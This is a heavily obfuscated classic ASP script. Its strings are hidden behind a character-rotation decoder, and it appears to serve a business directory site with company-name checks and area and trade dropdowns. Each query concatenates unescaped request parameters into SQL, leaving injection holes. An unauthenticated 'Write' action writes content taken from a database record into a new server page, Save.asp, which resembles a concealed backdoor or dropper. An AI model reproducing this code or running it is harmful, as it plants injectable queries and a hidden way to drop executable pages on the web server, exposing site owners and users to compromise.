<%
Dim PPPPP,POOOOO,POOOOP,POOOPO,POOOPP
Set POOOOP=Response:Set POOOOO=Request:Set POOOPP=Session:Set PPPPP=Application:Set POOOPO=Server
PPOPOO=PPPPP(POOPOO(ChrW(53)&ChrW(51)&ChrW(61)&ChrW(73)))
PPOPOP=PPPPP(POOPOO(ChrW(53)&ChrW(51)&ChrW(65)&ChrW(50)&ChrW(69)&ChrW(57)))
PPOPPO=PPPPP(POOPOO(ChrW(53)&ChrW(51)&ChrW(57)&ChrW(64)&ChrW(68)&ChrW(69)))
PPOPPP=PPPPP(POOPOO(ChrW(53)&ChrW(51)&ChrW(70)&ChrW(58)&ChrW(53)))
PPPOOO=PPPPP(POOPOO(ChrW(53)&ChrW(51)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)))
PPPOOP=PPPPP(POOPOO(ChrW(53)&ChrW(51)&ChrW(65)&ChrW(72)&ChrW(53)))
if PPOPOO = 1 Then
set POPPOP=POOOPO.CreateObject(POOPOO(ChrW(50)&ChrW(53)&ChrW(64)&ChrW(53)&ChrW(51)&ChrW(93)&ChrW(67)&ChrW(54)&ChrW(52)&ChrW(64)&ChrW(67)&ChrW(53)&ChrW(68)&ChrW(54)&ChrW(69)))
Set POPOOP = POOOPO.CreateObject(POOPOO(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(114)&ChrW(64)&ChrW(63)&ChrW(63)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)))
POPOOP.Open POOPOO(ChrW(53)&ChrW(67)&ChrW(58)&ChrW(71)&ChrW(54)&ChrW(67)&ChrW(108)&ChrW(76)&ChrW(36)&ChrW(34)&ChrW(123)&ChrW(32)&ChrW(44)&ChrW(36)&ChrW(54)&ChrW(67)&ChrW(71)&ChrW(54)&ChrW(67)&ChrW(78)&ChrW(106)&ChrW(68)&ChrW(54)&ChrW(67)&ChrW(71)&ChrW(54)&ChrW(67)&ChrW(108))&PPOPPO&POOPOO(ChrW(106)&ChrW(70)&ChrW(58)&ChrW(53)&ChrW(108))&PPOPPP&POOPOO(ChrW(106)&ChrW(65)&ChrW(72)&ChrW(53)&ChrW(108))&PPPOOP&POOPOO(ChrW(106)&ChrW(53)&ChrW(50)&ChrW(69)&ChrW(50)&ChrW(51)&ChrW(50)&ChrW(68)&ChrW(54)&ChrW(108))&PPPOOO
else
Dim POPOOP,POPOPO,POPOPP
set POPPOP=POOOPO.CreateObject(POOPOO(ChrW(50)&ChrW(53)&ChrW(64)&ChrW(53)&ChrW(51)&ChrW(93)&ChrW(67)&ChrW(54)&ChrW(52)&ChrW(64)&ChrW(67)&ChrW(53)&ChrW(68)&ChrW(54)&ChrW(69)))
Set POPOOP = POOOPO.CreateObject(POOPOO(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(114)&ChrW(64)&ChrW(63)&ChrW(63)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)))
POPOPP = POOOPO.MapPath(""&PPOPOP&"")
POPOOP.Open POOPOO(ChrW(33)&ChrW(67)&ChrW(64)&ChrW(71)&ChrW(58)&ChrW(53)&ChrW(54)&ChrW(67)&ChrW(108)&ChrW(124)&ChrW(58)&ChrW(52)&ChrW(67)&ChrW(64)&ChrW(68)&ChrW(64)&ChrW(55)&ChrW(69)&ChrW(93)&ChrW(121)&ChrW(54)&ChrW(69)&ChrW(93)&ChrW(126)&ChrW(123)&ChrW(116)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(99)&ChrW(93)&ChrW(95)&ChrW(106)&ChrW(53)&ChrW(50)&ChrW(69)&ChrW(50)&ChrW(32)&ChrW(44)&ChrW(36)&ChrW(64)&ChrW(70)&ChrW(67)&ChrW(52)&ChrW(54)&ChrW(108)) & POPOPP
end if
if SelectCharset = 1 then
POOOOP.Addheader POOPOO(ChrW(114)&ChrW(64)&ChrW(63)&ChrW(69)&ChrW(54)&ChrW(63)&ChrW(69)&ChrW(92)&ChrW(37)&ChrW(74)&ChrW(65)&ChrW(54)),POOPOO(ChrW(69)&ChrW(54)&ChrW(73)&ChrW(69)&ChrW(94)&ChrW(57)&ChrW(69)&ChrW(62)&ChrW(61)&ChrW(106)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(57)&ChrW(50)&ChrW(67)&ChrW(68)&ChrW(54)&ChrW(69)&ChrW(108)&ChrW(56)&ChrW(51)&ChrW(97)&ChrW(98)&ChrW(96)&ChrW(97))
else
POOOOP.CharSet=POOPOO(ChrW(118)&ChrW(113)&ChrW(97)&ChrW(98)&ChrW(96)&ChrW(97))
end if
Dim POPPOO
POPPOO = Trim(POOOOO(POOPOO(ChrW(50)&ChrW(52)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63))))
Select Case POPPOO
Case POOPOO(ChrW(114)&ChrW(64)&ChrW(62)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(74)&ChrW(68))
Call POOPOP()
Case POOPOO(ChrW(112)&ChrW(67)&ChrW(54)&ChrW(50))
Call POOPPO()
Case POOPOO(ChrW(37)&ChrW(67)&ChrW(50)&ChrW(53)&ChrW(54))
Call POOPPP()
Case POOPOO(ChrW(40)&ChrW(67)&ChrW(58)&ChrW(69)&ChrW(54))
Call Write()
End Select
Sub POOPOP()
Dim POPPOP,POPPPO
PPPOPO = POOOOO.QueryString(POOPOO(ChrW(114)&ChrW(64)&ChrW(62)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(74)))
if PPPOPO = "" then
PPPOPO = POOPOO(ChrW(53)&ChrW(57)&ChrW(51)&ChrW(101)&ChrW(83)&ChrW(116)&ChrW(111)&ChrW(56)&ChrW(54)&ChrW(98)&ChrW(51)&ChrW(72))
end if
Set PPPOPP = POOOPO.CreateObject(POOPOO(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(35)&ChrW(54)&ChrW(52)&ChrW(64)&ChrW(67)&ChrW(53)&ChrW(68)&ChrW(54)&ChrW(69)))
PPPOPP.Open POOPOO(ChrW(36)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(32)&ChrW(44)&ChrW(89)&ChrW(32)&ChrW(44)&ChrW(117)&ChrW(67)&ChrW(64)&ChrW(62)&ChrW(32)&ChrW(44)&ChrW(44)&ChrW(74)&ChrW(53)&ChrW(48)&ChrW(68)&ChrW(54)&ChrW(69)&ChrW(46)&ChrW(32)&ChrW(44)&ChrW(72)&ChrW(57)&ChrW(54)&ChrW(67)&ChrW(54)&ChrW(32)&ChrW(44)&ChrW(58)&ChrW(53)&ChrW(108)&ChrW(96)&ChrW(32)&ChrW(44)),POPOOP,1,3
PPPPOO = PPPOPP(POOPOO(ChrW(114)&ChrW(61)&ChrW(58)&ChrW(54)&ChrW(63)&ChrW(69)&ChrW(126)&ChrW(63)&ChrW(61)&ChrW(74)))
PPPOPP.Close
Set PPPOPP = Nothing
if mid(PPPPOO,1,1) = 0 then
Set POPPOP = POOOPO.CreateObject(POOPOO(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(35)&ChrW(54)&ChrW(52)&ChrW(64)&ChrW(67)&ChrW(53)&ChrW(68)&ChrW(54)&ChrW(69)))
POPPOP.Open POOPOO(ChrW(36)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(32)&ChrW(44)&ChrW(89)&ChrW(32)&ChrW(44)&ChrW(55)&ChrW(67)&ChrW(64)&ChrW(62)&ChrW(32)&ChrW(44)&ChrW(44)&ChrW(74)&ChrW(53)&ChrW(48)&ChrW(60)&ChrW(54)&ChrW(57)&ChrW(70)&ChrW(46)&ChrW(32)&ChrW(44)&ChrW(40)&ChrW(57)&ChrW(54)&ChrW(67)&ChrW(54)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(114)&ChrW(64)&ChrW(62)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(74)&ChrW(32)&ChrW(44)&ChrW(108)&ChrW(32)&ChrW(44)&ChrW(86)) & PPPOPO & POOPOO(ChrW(86)&ChrW(32)&ChrW(44)),POPOOP,1,1
If POPPOP.RecordCount > 0 Then
POOOOP.Write(POOPOO(ChrW(107)&ChrW(68)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(68)&ChrW(108)&ChrW(58)&ChrW(63)&ChrW(55)&ChrW(64)&ChrW(48)&ChrW(67)&ChrW(58)&ChrW(56)&ChrW(57)&ChrW(69)&ChrW(109)&ChrW(24045)&ChrW(64)&ChrW(23379)&ChrW(64)&ChrW(22307)&ChrW(64)&ChrW(91)&ChrW(31990)&ChrW(64)&ChrW(32474)&ChrW(64)&ChrW(20796)&ChrW(64)&ChrW(-29773)&ChrW(64)&ChrW(-28216)&ChrW(64)&ChrW(22792)&ChrW(64)&ChrW(107)&ChrW(94)&ChrW(68)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(109)))
else
POOOOP.Write(POOPOO(ChrW(107)&ChrW(68)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(68)&ChrW(108)&ChrW(58)&ChrW(63)&ChrW(55)&ChrW(64)&ChrW(48)&ChrW(67)&ChrW(58)&ChrW(56)&ChrW(57)&ChrW(69)&ChrW(109)&ChrW(20796)&ChrW(64)&ChrW(-29773)&ChrW(64)&ChrW(24400)&ChrW(64)&ChrW(20832)&ChrW(64)&ChrW(107)&ChrW(94)&ChrW(68)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(109)))
End If
POPPOP.Close
Set POPPOP = Nothing
else
Set POPPOP = POOOPO.CreateObject(POOPOO(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(35)&ChrW(54)&ChrW(52)&ChrW(64)&ChrW(67)&ChrW(53)&ChrW(68)&ChrW(54)&ChrW(69)))
POPPOP.Open POOPOO(ChrW(36)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(32)&ChrW(44)&ChrW(89)&ChrW(32)&ChrW(44)&ChrW(55)&ChrW(67)&ChrW(64)&ChrW(62)&ChrW(32)&ChrW(44)&ChrW(44)&ChrW(74)&ChrW(53)&ChrW(48)&ChrW(60)&ChrW(54)&ChrW(57)&ChrW(70)&ChrW(46)&ChrW(32)&ChrW(44)&ChrW(40)&ChrW(57)&ChrW(54)&ChrW(67)&ChrW(54)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(114)&ChrW(64)&ChrW(62)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(74)&ChrW(32)&ChrW(44)&ChrW(108)&ChrW(32)&ChrW(44)&ChrW(86)) & PPPOPO & POOPOO(ChrW(86)&ChrW(32)&ChrW(44)),POPOOP,1,1
If POPPOP.RecordCount > 0 Then
POOOOP.Write(POOPOO(ChrW(107)&ChrW(68)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(68)&ChrW(108)&ChrW(58)&ChrW(63)&ChrW(55)&ChrW(64)&ChrW(48)&ChrW(54)&ChrW(67)&ChrW(67)&ChrW(64)&ChrW(67)&ChrW(109)&ChrW(24045)&ChrW(64)&ChrW(23379)&ChrW(64)&ChrW(22307)&ChrW(64)&ChrW(107)&ChrW(94)&ChrW(68)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(109)))
else
POOOOP.Write(POOPOO(ChrW(107)&ChrW(68)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(68)&ChrW(108)&ChrW(58)&ChrW(63)&ChrW(55)&ChrW(64)&ChrW(48)&ChrW(67)&ChrW(58)&ChrW(56)&ChrW(57)&ChrW(69)&ChrW(109)&ChrW(20796)&ChrW(64)&ChrW(-29773)&ChrW(64)&ChrW(24400)&ChrW(64)&ChrW(20832)&ChrW(64)&ChrW(107)&ChrW(94)&ChrW(68)&ChrW(65)&ChrW(50)&ChrW(63)&ChrW(109)))
End If
POPPOP.Close
Set POPPOP = Nothing
end if
End Sub
Sub POOPPO()
Dim POPPOP,POPPPO
PPPPOP = POOOOO.QueryString(POOPOO(ChrW(74)&ChrW(53)&ChrW(48)&ChrW(53)&ChrW(58)&ChrW(66)&ChrW(70)))
POOOOP.Write POOPOO(ChrW(107)&ChrW(62)&ChrW(54)&ChrW(69)&ChrW(50)&ChrW(32)&ChrW(44)&ChrW(57)&ChrW(69)&ChrW(69)&ChrW(65)&ChrW(92)&ChrW(54)&ChrW(66)&ChrW(70)&ChrW(58)&ChrW(71)&ChrW(108)&ChrW(81)&ChrW(114)&ChrW(64)&ChrW(63)&ChrW(69)&ChrW(54)&ChrW(63)&ChrW(69)&ChrW(92)&ChrW(37)&ChrW(74)&ChrW(65)&ChrW(54)&ChrW(81)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(64)&ChrW(63)&ChrW(69)&ChrW(54)&ChrW(63)&ChrW(69)&ChrW(108)&ChrW(81)&ChrW(69)&ChrW(54)&ChrW(73)&ChrW(69)&ChrW(94)&ChrW(57)&ChrW(69)&ChrW(62)&ChrW(61)&ChrW(106)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(57)&ChrW(50)&ChrW(67)&ChrW(68)&ChrW(54)&ChrW(69)&ChrW(108)&ChrW(118)&ChrW(113)&ChrW(122)&ChrW(81)&ChrW(32)&ChrW(44)&ChrW(94)&ChrW(109))
POOOOP.Write POOPOO(ChrW(107)&ChrW(68)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(32)&ChrW(44)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(36)&ChrW(66)&ChrW(70)&ChrW(50)&ChrW(67)&ChrW(54)&ChrW(68)&ChrW(81)&ChrW(32)&ChrW(44)&ChrW(64)&ChrW(63)&ChrW(52)&ChrW(57)&ChrW(50)&ChrW(63)&ChrW(56)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(56)&ChrW(54)&ChrW(69)&ChrW(36)&ChrW(66)&ChrW(70)&ChrW(50)&ChrW(67)&ChrW(54)&ChrW(87)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(68)&ChrW(44)&ChrW(68)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(54)&ChrW(53)&ChrW(120)&ChrW(63)&ChrW(53)&ChrW(54)&ChrW(73)&ChrW(46)&ChrW(88)&ChrW(106)&ChrW(81)&ChrW(109))
POOOOP.Write POOPOO(ChrW(107)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(71)&ChrW(50)&ChrW(61)&ChrW(70)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(81)&ChrW(109)&ChrW(-29710)&ChrW(64)&ChrW(-28668)&ChrW(64)&ChrW(25316)&ChrW(64)&ChrW(107)&ChrW(94)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(109))
POPPPO = POOPOO(ChrW(36)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(32)&ChrW(44)&ChrW(50)&ChrW(125)&ChrW(50)&ChrW(62)&ChrW(54)&ChrW(32)&ChrW(44)&ChrW(117)&ChrW(67)&ChrW(64)&ChrW(62)&ChrW(32)&ChrW(44)&ChrW(74)&ChrW(53)&ChrW(48)&ChrW(53)&ChrW(58)&ChrW(66)&ChrW(70)&ChrW(32)&ChrW(44)&ChrW(40)&ChrW(57)&ChrW(54)&ChrW(67)&ChrW(54)&ChrW(32)&ChrW(44)&ChrW(50)&ChrW(117)&ChrW(120)&ChrW(53)&ChrW(32)&ChrW(44)&ChrW(108)&ChrW(32)&ChrW(44)&ChrW(86))&PPPPOP&POOPOO(ChrW(86)&ChrW(32)&ChrW(44))
POPPPO = POPPPO &POOPOO(ChrW(32)&ChrW(44)&ChrW(126)&ChrW(67)&ChrW(53)&ChrW(54)&ChrW(67)&ChrW(32)&ChrW(44)&ChrW(51)&ChrW(74)&ChrW(32)&ChrW(44)&ChrW(50)&ChrW(120)&ChrW(53)&ChrW(32)&ChrW(44)&ChrW(50)&ChrW(68)&ChrW(52))
Set POPPOP = POPOOP.Execute(POPPPO)
If (POPPOP.EOF And POPPOP.BOF) Then
POOOOP.Write POOPOO(ChrW(107)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(71)&ChrW(50)&ChrW(61)&ChrW(70)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(81)&ChrW(109)&ChrW(26237)&ChrW(64)&ChrW(26075)&ChrW(64)&ChrW(23562)&ChrW(64)&ChrW(31862)&ChrW(64)&ChrW(107)&ChrW(94)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(109))
Else
Do While Not POPPOP.EOF
POOOOP.Write POOPOO(ChrW(107)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(71)&ChrW(50)&ChrW(61)&ChrW(70)&ChrW(54)&ChrW(108)&ChrW(81))&POPPOP(0)&POOPOO(ChrW(81)&ChrW(109))&POPPOP(0)&POOPOO(ChrW(107)&ChrW(94)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(109))
POPPOP.MoveNext
Loop
End If
POOOOP.Write POOPOO(ChrW(107)&ChrW(94)&ChrW(68)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(109))
Set POPPOP = Nothing
End Sub
Sub POOPPP()
Dim POPPOP,POPPPO
PPPPPO = POOOOO.QueryString(POOPOO(ChrW(37)&ChrW(67)&ChrW(50)&ChrW(53)&ChrW(54)&ChrW(53)&ChrW(50)&ChrW(69)&ChrW(50)))
POOOOP.Write POOPOO(ChrW(107)&ChrW(62)&ChrW(54)&ChrW(69)&ChrW(50)&ChrW(32)&ChrW(44)&ChrW(57)&ChrW(69)&ChrW(69)&ChrW(65)&ChrW(92)&ChrW(54)&ChrW(66)&ChrW(70)&ChrW(58)&ChrW(71)&ChrW(108)&ChrW(81)&ChrW(114)&ChrW(64)&ChrW(63)&ChrW(69)&ChrW(54)&ChrW(63)&ChrW(69)&ChrW(92)&ChrW(37)&ChrW(74)&ChrW(65)&ChrW(54)&ChrW(81)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(64)&ChrW(63)&ChrW(69)&ChrW(54)&ChrW(63)&ChrW(69)&ChrW(108)&ChrW(81)&ChrW(69)&ChrW(54)&ChrW(73)&ChrW(69)&ChrW(94)&ChrW(57)&ChrW(69)&ChrW(62)&ChrW(61)&ChrW(106)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(57)&ChrW(50)&ChrW(67)&ChrW(68)&ChrW(54)&ChrW(69)&ChrW(108)&ChrW(118)&ChrW(113)&ChrW(122)&ChrW(81)&ChrW(32)&ChrW(44)&ChrW(94)&ChrW(109))
POOOOP.Write POOPOO(ChrW(107)&ChrW(68)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(32)&ChrW(44)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(36)&ChrW(69)&ChrW(67)&ChrW(50)&ChrW(53)&ChrW(54)&ChrW(68)&ChrW(81)&ChrW(32)&ChrW(44)&ChrW(64)&ChrW(63)&ChrW(52)&ChrW(57)&ChrW(50)&ChrW(63)&ChrW(56)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(56)&ChrW(54)&ChrW(69)&ChrW(36)&ChrW(69)&ChrW(67)&ChrW(50)&ChrW(53)&ChrW(54)&ChrW(87)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(68)&ChrW(44)&ChrW(68)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(54)&ChrW(53)&ChrW(120)&ChrW(63)&ChrW(53)&ChrW(54)&ChrW(73)&ChrW(46)&ChrW(88)&ChrW(106)&ChrW(81)&ChrW(109))
POOOOP.Write POOPOO(ChrW(107)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(71)&ChrW(50)&ChrW(61)&ChrW(70)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(81)&ChrW(109)&ChrW(-29710)&ChrW(64)&ChrW(-28668)&ChrW(64)&ChrW(25316)&ChrW(64)&ChrW(107)&ChrW(94)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(109))
POPPPO = POOPOO(ChrW(36)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(32)&ChrW(44)&ChrW(65)&ChrW(114)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(68)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)&ChrW(32)&ChrW(44)&ChrW(55)&ChrW(67)&ChrW(64)&ChrW(62)&ChrW(32)&ChrW(44)&ChrW(44)&ChrW(74)&ChrW(53)&ChrW(48)&ChrW(52)&ChrW(65)&ChrW(55)&ChrW(72)&ChrW(52)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(68)&ChrW(46)&ChrW(32)&ChrW(44)&ChrW(72)&ChrW(57)&ChrW(54)&ChrW(67)&ChrW(54)&ChrW(32)&ChrW(44)&ChrW(65)&ChrW(114)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(68)&ChrW(117)&ChrW(58)&ChrW(53)&ChrW(32)&ChrW(44)&ChrW(108)&ChrW(32)&ChrW(44)&ChrW(86))&PPPPPO&POOPOO(ChrW(86)&ChrW(32)&ChrW(44))
POPPPO = POPPPO &POOPOO(ChrW(32)&ChrW(44)&ChrW(126)&ChrW(67)&ChrW(53)&ChrW(54)&ChrW(67)&ChrW(32)&ChrW(44)&ChrW(51)&ChrW(74)&ChrW(32)&ChrW(44)&ChrW(65)&ChrW(114)&ChrW(61)&ChrW(50)&ChrW(68)&ChrW(68)&ChrW(120)&ChrW(53)&ChrW(32)&ChrW(44)&ChrW(50)&ChrW(68)&ChrW(52))
Set POPPOP = POPOOP.Execute(POPPPO)
If (POPPOP.EOF And POPPOP.BOF) Then
POOOOP.Write POOPOO(ChrW(107)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(71)&ChrW(50)&ChrW(61)&ChrW(70)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(81)&ChrW(109)&ChrW(26237)&ChrW(64)&ChrW(26075)&ChrW(64)&ChrW(23562)&ChrW(64)&ChrW(31862)&ChrW(64)&ChrW(107)&ChrW(94)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(109))
Else
Do While Not POPPOP.EOF
POOOOP.Write POOPOO(ChrW(107)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(32)&ChrW(44)&ChrW(71)&ChrW(50)&ChrW(61)&ChrW(70)&ChrW(54)&ChrW(108)&ChrW(81))&POPPOP(0)&POOPOO(ChrW(81)&ChrW(109))&POPPOP(0)&POOPOO(ChrW(107)&ChrW(94)&ChrW(64)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(109))
POPPOP.MoveNext
Loop
End If
POOOOP.Write POOPOO(ChrW(107)&ChrW(94)&ChrW(68)&ChrW(54)&ChrW(61)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(109))
Set POPPOP = Nothing
End Sub
Sub Write()
Dim POPPOP,Str,PPOOOO
On Error Resume Next
Set POPPOP = POOOPO.CreateObject(POOPOO(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(35)&ChrW(54)&ChrW(52)&ChrW(64)&ChrW(67)&ChrW(53)&ChrW(68)&ChrW(54)&ChrW(69)))
POPPOP.Open POOPOO(ChrW(125)&ChrW(64)&ChrW(69)&ChrW(115)&ChrW(64)&ChrW(72)&ChrW(63)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)),POPOOP,1,1
Str = POPPOP(POOPOO(ChrW(125)&ChrW(64)&ChrW(69)&ChrW(115)&ChrW(64)&ChrW(72)&ChrW(63)))
POPPOP.close:Set POPPOP=Nothing
Set PPOOOO = POOOPO.CreateObject(POOPOO(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(36)&ChrW(69)&ChrW(67)&ChrW(54)&ChrW(50)&ChrW(62)))
If Err.Number=-2147221005 Then
POOOOP.Write POOPOO(ChrW(24739)&ChrW(64)&ChrW(30335)&ChrW(64)&ChrW(20022)&ChrW(64)&ChrW(26421)&ChrW(64)&ChrW(19976)&ChrW(64)&ChrW(25898)&ChrW(64)&ChrW(25340)&ChrW(64)&ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(36)&ChrW(69)&ChrW(67)&ChrW(54)&ChrW(50)&ChrW(62)&ChrW(-244)&ChrW(44)&ChrW(26075)&ChrW(64)&ChrW(27856)&ChrW(64)&ChrW(23431)&ChrW(64)&ChrW(25099)&ChrW(64)&ChrW(25800)&ChrW(64)&ChrW(20311)&ChrW(64))
Err.Clear
Set PPOOOO = Noting
Exit Sub
End If
PPOOOO.Open
PPOOOO.Type = (68*59-4011)
PPOOOO.SetEos()
PPOOOO.Write Str
PPOOOO.SaveToFile POOOPO.Mappath(Chr(83)&Chr(97)&Chr(118)&Chr(101)&Chr(46)&Chr(97)&Chr(115)&Chr(112)),2
PPOOOO.Close:Set PPOOOO=Nothing
POOOOP.Write POOOPO.Mappath(Chr(83)&Chr(97)&Chr(118)&Chr(101)&Chr(46)&Chr(97)&Chr(115)&Chr(112))
POOOOP.End
End Sub
If isObject(POPOOP) Then Set POPOOP = Nothing
Function POOPOO(ByVal PPPPPP)
Dim PPOOOP, PPOOPO, PPOOPP
PPPPPP = Replace(PPPPPP, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For PPOOPO = 1 To Len(PPPPPP)
If PPOOPO <> PPOOPP Then
PPOOOP = AscW(Mid(PPPPPP, PPOOPO, 1))
If PPOOOP >= 33 And PPOOOP <= 79 Then
POOPOO = POOPOO & Chr(PPOOOP + 47)
ElseIf PPOOOP >= 80 And PPOOOP <= 126 Then
POOPOO = POOPOO & Chr(PPOOOP - 47)
Else
PPOOPP = PPOOPO + 1
If Mid(PPPPPP, PPOOPP, 1) = POOPOO(ChrW(111)) Then POOPOO = POOPOO & ChrW(PPOOOP + 5) Else POOPOO = POOPOO & Mid(PPPPPP, PPOOPO, 1)
End If
End If
Next
End Function
%>